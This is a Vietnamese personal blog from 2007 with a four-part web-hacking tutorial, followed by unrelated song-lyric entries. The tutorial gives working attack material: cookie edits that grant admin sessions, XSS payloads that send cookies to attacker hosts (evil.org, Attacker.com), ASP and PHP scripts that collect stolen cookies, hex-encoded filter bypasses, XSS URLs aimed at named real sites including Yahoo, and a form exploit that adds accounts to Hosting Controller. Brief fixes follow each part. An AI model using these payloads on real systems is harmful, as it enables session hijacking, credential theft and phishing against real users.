Saturday, January 13, 2007

Bài 3: Kỹ thuật tấn công thông qua Cookies

Khi lập trình website, các coder thường xử dụng 2 kỹ thuật xác định authentication của dữ liệu bằng phiên làm việc (session time out của Hệ thống) hoặc Cookies, Tuy nhiên theo Cookies được ưa chuộng hơn do ưu điểm không phụ thuộc vào time out của hệ thống và không tăng CPU Process của một Web App làm cho chương trình hoạt động nhẹ nhàng hơn.

Chính vì vậy, thông qua lỗi XSS hay một số lỗi khác như SQL injection, Attacker có thể chiếm được thông số cookies để biến cookies theo tham số mới của victim để chiếm phiên làm việc của nạn nhân. Về Fake cookies thế nào, HY xin bàn đến ở phần khác vì nó khá dễ dàng và trên này cũng đã có khá nhiều bài viết về nó.

Xin ví dụ một số trường hợp cơ bản

Ví dụ của 1 Forum Open code đã có Cookies cho thành viên dạng như sau:
Code

Cookie: Lang en-us MemberID=1234 Type=4 Time:12:30PM;

Ta chú ý MemberID=1234 Type=4 ? Vì Type=4 là Member, nếu để ý hơn sẽ thấy các Type khác như 3,2,1 và ở đây Type=1 là ADMIN. Nếu ta thay như sau
Code

Cookie: Lang en-us MemberID=1 Type=1 Time:12:30PM;

Điều gì sẽ xảy ra khi ta khởi động lại trình duyệt? dĩ nhiên ta đang chiếm phiên làm việc của admin

Giải pháp:
1. Mã hóa cookies
2. Tạo session lưu trên máy chủ để so sánh thêm

P/s : Tuy nhiên cuộc chiến về Cookies và Session ID thì chưa bao giờ có hồi kết bất chấp mọi biện pháp vì những lỗi khác liên quan có thể giúp attaker "phun" các dữ liệu ra. Hiện nay các diễn đàn và các Blog rất dễ bị mắc các lỗi thông qua Cookies



Một ví dụ về Bug của IBP giúp cho ta có thể khai thác được các thông số của 1 ID bất kỳ

HYXD

Bài 4: XSS attack - Chèn mã lệnh thực thi trên trình duyệt

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.

Biểu đồ tỷ lệ XSS Bug trong Web App (Nguồn Acunetix)


Kỹ thuật nay chuyên thực thi trên trình duyệt người dùng để đánh cắp cookies, mật khẩu, session hay fishing lừa đảo ... bằng cách chèn các script lợi dụng DOM (Document Object Model) tại các vị trí sau:

<script>Mã độc hại</SCRIPT>
<EMBED SRC="http://www.phim.com/movies/abc.mov">
<script>
<OBJECT>
<APPLET>
<EMBED>
<FORM>

Cách insert dạng

Inline Scripting
search.cgi?criteria=<script>code</script>
search.cgi?val=<script SRC='http://evil.org/hoangyen.js'> </SCRIPT>
COM2.IMG%20src= "java script:alert(document.domain)"

Forced Error Responses

search.cgi?blahblahblahblahblah<script>code</script>
servlet/ org.apache.catalina.servlets.WebdavStatus/<script>code</script>

Non <script> Events
<A HREF="exploit string">Go</A>
resulting in:
<A HREF="" [event]='code'">Go</A>

<b onMouseOver="self.location.href='http://evil.org/'">bolded text</b>

JavaScript Entities
<img src="&{alert('CSS Vulnerable')};">

Typical Payloads Formatting
<img src = "malicious.js">
<script>alert('hacked')</script>
<iframe = "malicious.js">
<script>document.write('<img src="http://evil.org/'+document.cookie+'") </script>
<a href="java script:…">click-me</a>

Sau khi chèn các script lên đó, Attacker sẽ gửi nội dung đã chèn cho người dùng qua email hay dụ người dùng vào xem vị trí trang web đã chèn script đó (như chèn trong chữ ký của attacker...). Khi người sử dụng vào thì thông tin của người dùng đã chuyển tới 1 file (dạng CGI/PHP/ASP/PERL) lưu thông tin do attacker tạo ra hoặc attacker biến đổi nội dung của trang web trong đó xuất hiện nội dung của attacker (Dạng như IFRAME) .

Mẫu nội dung của file lưu thông tin

Dạng ASP
Code

<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("XSS.txt"), 8, true)
y.WriteLine Request.QueryString("XSS")
y.Close
Set y = Nothing
Set x = Nothing
%>

Dạng PHP
Code

<?
$f = fopen("XSS.txt","a");
fputs($f, $xss.chr(13));
fclose($f);
?>

Dạng send về email
Code

<?php
if ($contents && $header){
mail(``hoangyenxinhdep@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >

<?php
} else {
echo ``nope``;
}

Ta hãy xem 1 ví dụ sau :
Code

<a href="http://www.vnsecurity.com/index.php?type=<script>document.location.replace('http://www.Attacker.com/xss.cgi'+document.cookies);</script>"> Hot Hot !!! Vietnamnet bi hack ne

Điều gì sẽ xảy ra khi user click vào link và đăng nhập? Thông tin của user hay mod thậm chí cả admin cũng có thể sẽ bị attacker chiếm được .

Ví dụ sau giúp ta có thể đưa được trang vnsecurity.com vào trong website của Hội tin học VN (Vẫn còn hiệu lực)
Code

http://www.diendan.tinhoc-doisong.net/search.asp?Search="><script>alert('Hoangyenxinhdep')</script><iframe%20src="http://www.vnsecurity.com"></iframe>

Bug XSS của Yahoo , Bug này chị đã thông báo cho Yahoo không biết họ có nhận được thông tin hay không
Code

http://realestate.yahoo.com/New_York/Schenectady/Homes_for_sale/result.html;_ylt=AvVmhFczFhp9qto6He9R03mkF7kF?typeBak="><script>alert(document.cookie)</script>
http://realestate.yahoo.com/New_York/Schenectady/Homes_for_sale/result.html;_ylt=AvVmhFczFhp9qto6He9R03mkF7kF?typeBak="><script>alert('hoangyenxinhdep')</script>

or at the sort string
for example

http://albany.yahoo.idx.prumanor.com/results.aspx?&VIP=Yahoo!+IDX&cc=realestate&fclose=n&newhome=n&za=and&searchgeo=Schenectady%2c+NY&searchtype=2&propertytype=1%2c2&sort=5&sortacdc="><script>alert()</script><iframe%20src="http://www.vnsecurity.com"></iframe>

Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng...

Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác

Hex Usage:
Code

http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Cách khắc phục : Tốt nhất là tự mình test hết một lượt :)

HYXD

Bài 2 : Thao tác qua các biến ẩn của Form Posting

Khi xây dựng form hay một số ứng dụng web Ap có khả năng xử dụng các form save thành html về PC của attacker để thay đổi các biến ẩn của form để khai thác hệ thống hay web app.
Ngoài việc tấn công qua biến ẩn của form, Attcker có thể sử thay đổi các thành phần trên form như độ dài của ô nhập dữ liệu để tấn công tràn bộ đệm

Bài học :

Các bạn dễ dàng tìm thấy khá nhiều các bugs nổi tiếng khai thác qua biến ẩn của form như Hosting controller Hotfix 6.2 có thể add được thêm USER cho server Windows hosting mà Kẻ hiếu học đã công bố trên SECURITYFOCUS năm ngoái

Code Form:
Code

<FORM action="http://[target]/admin/hosting/addsubsite_online.asp" method="post">
<INPUT type="hidden" name="domaintypecheck" value="SECOND" id="Hidden1">
Domain: <INPUT name="DomainName" value="hcegroup.net" id="Hidden2"><BR>
Username: <INPUT name="loginname" value="kehieuhoc" id="Hidden3"><BR>
<INPUT type="hidden" name="Quota" value="-1" id="Hidden4">
<INPUT type="hidden" name="htype" value="27" id="htype5" >
<INPUT type="hidden" name="choice" value="1" id="Hidden6" >
Password: <INPUT name="password" value="kehieuhoc" id="Hidden7"><BR><BR>
<input type="submit" value="Make">
</FORM>

Hãy xem mô hình của 01 Form HTML exploit qua biến ẩn


Và đây là kết quả Exploit


Thông qua khai thác bằng cách này, toàn bộ File config của PHPBB 2.0.10 đã bị show ra một cách dễ dàng

Các bạn có thể bổ xung thêm nhiều Bug có thể hack qua khai thác biến ẩn của form và liệt kê ngay dưới đây coi như bài tập về tình huống này. Rất mong các bạn đóng góp ý kiến và cùng tham gia

Cách khắc phục : Dùng biến sessionID hay MD5 tạo chuỗi mẫu trong xử lý dữ liệu liên quan đi kèm để so sánh hoặc hạn chế chỉ dùng biến ẩn form cho hiển thị chứ không nên dùng cho việc xử lý dữ liệu liên quan

HYXD

Bài 1 : Thao tác trên tham số truyền Get hoặc post

Một số Code lập trình có tham số victim.com/admin.php?username=ABC&newpass=xxxx cho phép user đổi pass mới mà không check các tham số session, Oldpass hay authentication, ta có thể mò được tham số truyền này để đổi password của admin hay user bằng cách gõ victim.com/admin.php?usename=ABC&newpass=123456 với 123456 là password mới cần đổi

Ví dụ điển hình :
1. Snitz forum 3.0.4 cho phép change password bất kỳ ID nào thông qua 1 form change pass do forum cung cấp qua email của attacker đăng ký bằng 1 nick bình thường
2. Hệ thống Yahoo
Yahoo domain đã có 1 sơ hở trên add_access_results.php cho phép ta có thể add quyền quản lý domain của bất kỳ domain nào trên Yahoo sang ID của ta bằng tham số truyền
https://bill.sbs.yahoo.com/add_access_resul...hoangyenxinhdep

Ví dụ domain http://www.spendingspending.com

....

Cách khắc phục :
- Ứng dụng cơ chế bảng băm (hash table), tức là mỗi 1 username sẽ được kèm 1 theo 1 biến hash lưu trong data, mỗi khi người dùng đăng nhập sẽ có 1 hash đi kèm và sẽ so sánh trên csdl để đảm bảo username này là hợp lệ, và sẽ tránh được các request thực thi khi không có hash.

Hết bài 1

HYXD

Wednesday, January 10, 2007

Entry for January 11, 2007

mms://210.245.126.170/Music/NhacTre/QuangDung_Chuyen/demo/06_QuangDung_CauChuyenTinhToi_KimTuan.mp3

Câu chuyện tình tôi
Sáng tác: Kim Tuấn

Ngày hôm qua không như là ngày thơ bé vốn đùa chơi
Đồi non cao, mắt ngời đen ngủ vùi
Ngày tuổi yêu gió hương đồng
Tuổi mây trắng như cỏ xanh
Ngày tôi đã biết yêu một dòng sông

Ngày hôm qua không như là ngày tôi ngắm những vì sao
Tận trên cao, rất cao những đêm màu
Chuyện tình tôi vốn không lời
Giờ xa tít giữa ngàn khơi
Mà xanh thắm những cơn mưa lòng tôi

Ngày hôm qua như áng mây bay hão huyền giấc xưa kỷ niệm
Để giờ đây tôi vấn vương bao muộn phiền
Ngày hôm qua tan biến mau nhưng khắc sâu mãi trong tâm hồn
Để lòng tôi thêm trót yêu những ngày xưa

Ngày hôm qua như giấc mơ trôi rất nhanh những âm thanh buồn
Tuổi còn xanh khao khát quay về nguồn
Ngày hôm qua em hiển nhiên trong phút giây thoáng xưa ẩn hiện
Để ngàn năm tôi nhớ em muôn niên

Ngày hôm nay tôi yêu thầm người con gái mái tóc mộng mơ
Đầy hồn nhiên, trắng trong đến bất ngờ
Chuyện tình tôi giống như bao người
Nhiều mơ ước cho riêng mình thôi
Buồn man mác tiếng mưa rơi lòng tôi

Sunday, January 7, 2007

Entry for January 08, 2007

Love you and love me
Cong bu zheng wang ji he ni zai yi qi de tian mi
Love U and love me
Cong bu zheng huai yi ni shi wo yong tuan de wei yi
Ke shi hu ran fang fu diu le ni
My love
wo leng de wu fa hu qi
Ke shi fang fu hui bu qu
Xiang shi zhi mi tu zai bei ji de yu
I miss U now where are U going
Xiang nian zeng jing wen nuan de hai di
I miss U now where are U going
Xiang rang ji dao wen nuan zui han leng de bei ji
Love U and love me
Ru guo ni hai you gan ying
Qing zhi yin wo you xiang ni
Love U and love me
dan da hai wu bian wu ji